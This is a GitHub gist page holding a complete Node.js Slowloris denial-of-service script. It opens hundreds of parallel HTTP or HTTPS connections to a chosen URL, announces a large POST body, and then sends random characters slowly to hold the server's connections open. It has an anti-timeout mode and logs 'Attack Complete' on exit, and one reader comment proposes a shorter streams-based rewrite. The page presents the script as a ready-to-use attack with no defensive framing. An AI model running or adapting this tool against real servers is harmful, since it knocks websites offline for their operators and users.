Last active
December 15, 2017 21:01
-
-
Save nstarke/138179a6ef1158a379561ac6b94d6024 to your computer and use it in GitHub Desktop.
Slowloris
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var net = require('net'); | |
var tls = require('tls'); | |
var url = require('url'); | |
var util = require('util'); | |
var commander = require('commander'); | |
commander.option('-u, --url [url]', 'Url to hit') | |
.option('-c, --connections [connections]', 'Connections to use simultaneously', 256, parseInt) | |
.option('-t, --timings [timings]', 'Which set of timings to use', 'default') | |
.option('-s, --start [start]', 'Start Up Interval', 500, parseFloat) | |
.option('-d, --debug', 'Debug mode') | |
.parse(process.argv); | |
var url = url.parse(commander.url); | |
var secure = url.protocol === 'https:'; | |
var socket = secure ? tls.TLSSocket : net.Socket; | |
var connLimit = commander.connections; | |
var timings = { | |
default: { | |
restart: 300, | |
error: 300, | |
end: 300, | |
heartbeat: function(){ | |
return (1000 * (100 + (Math.floor(Math.random() * 10)))); | |
}, | |
iterations: 1 | |
}, | |
antiTimeout: { | |
restart: 300, | |
error: 300, | |
end: 300, | |
heartbeat: function(){ | |
return 900 + Math.floor(Math.random() * 100); | |
}, | |
iterations: 501 | |
} | |
}; | |
var currentTimings = timings[commander.timings]; | |
if (!currentTimings) { | |
console.error('You must set a valid timings. Use "default" if you are unsure.'); | |
process.exit(1); | |
} | |
var ALPHANUMERIC = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; | |
var start = new Date(); | |
console.log(util.format('Starting at %s', start)); | |
function connectionHandler(){ | |
var client = new socket(); | |
var charCounter = 0; | |
var charLimit = 1024 * 1024; | |
client.connect({ | |
port: url.port || secure ? 443 : 80, | |
host: url.hostname | |
}, function(){ | |
if (commander.debug) console.log(util.format('Beginning Request at %s', new Date())); | |
var header = util.format('POST / HTTP/1.1\r\nHost: %s\r\nContent-length: %s\r\nKeep-alive: timeout=10, max=5\r\n\r\n', url.hostname, charLimit); | |
client.write(header); | |
function sendData(){ | |
if (charCounter >= charLimit) { | |
if (commander.debug) console.log(util.format('Ending Request at %s', new Date())); | |
client.write('\r\n'); | |
client.end(); | |
setTimeout(connectionHandler, currentTimings.restart); | |
return; | |
} | |
if (client.bufferSize < (currentTimings.iterations * 2)) { | |
var stringToSend = ''; | |
for (var i = 0; i < currentTimings.iterations; i++){ | |
var charToSend = ALPHANUMERIC[Math.floor(Math.random() * ALPHANUMERIC.length)]; | |
stringToSend += charToSend; | |
} | |
if (stringToSend.length + charCounter > charLimit) { | |
stringToSend = stringToSend.substring(0, charLimit - (stringToSend.length + charCounter)); | |
} | |
client.write(stringToSend); | |
charCounter = charCounter + stringToSend.length; | |
setTimeout(sendData, currentTimings.heartbeat()); | |
} else { | |
if (commander.debug) console.log(util.format('Draining Request at %s', new Date())); | |
return client.once('drain', sendData); | |
} | |
} | |
setTimeout(sendData, currentTimings.heartbeat()); | |
}); | |
client.on('error', function(err){ | |
if (commander.debug) console.log(util.format('Error Request at %s - Error: %s', new Date(), err.errno)); | |
client.end(); | |
setTimeout(connectionHandler, currentTimings.error); | |
}); | |
client.on('end', function(){ | |
if (commander.debug) console.log(util.format('End Request at %s', new Date())); | |
setTimeout(connectionHandler, currentTimings.end); | |
}); | |
} | |
var connCounter = 0; | |
function startUp(){ | |
if (connCounter < connLimit){ | |
connectionHandler(); | |
setTimeout(startUp, commander.start); | |
connCounter++; | |
} else { | |
var allUp = new Date(); | |
console.log(util.format('All connection workers fired up at %s - Took %s seconds', allUp, (allUp - start) / 1000)); | |
} | |
} | |
setTimeout(startUp, commander.start); | |
process.on('SIGINT', function(){ | |
var end = new Date(); | |
console.log(util.format('Attack Complete at %s - Took %s seconds', end, (end - start) / 1000)); | |
process.exit(); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Wouldn't a streams based implementation be much shorter?
I'm thinking creating a stream with a setInterval writing a character to it and piping to an outgoing request.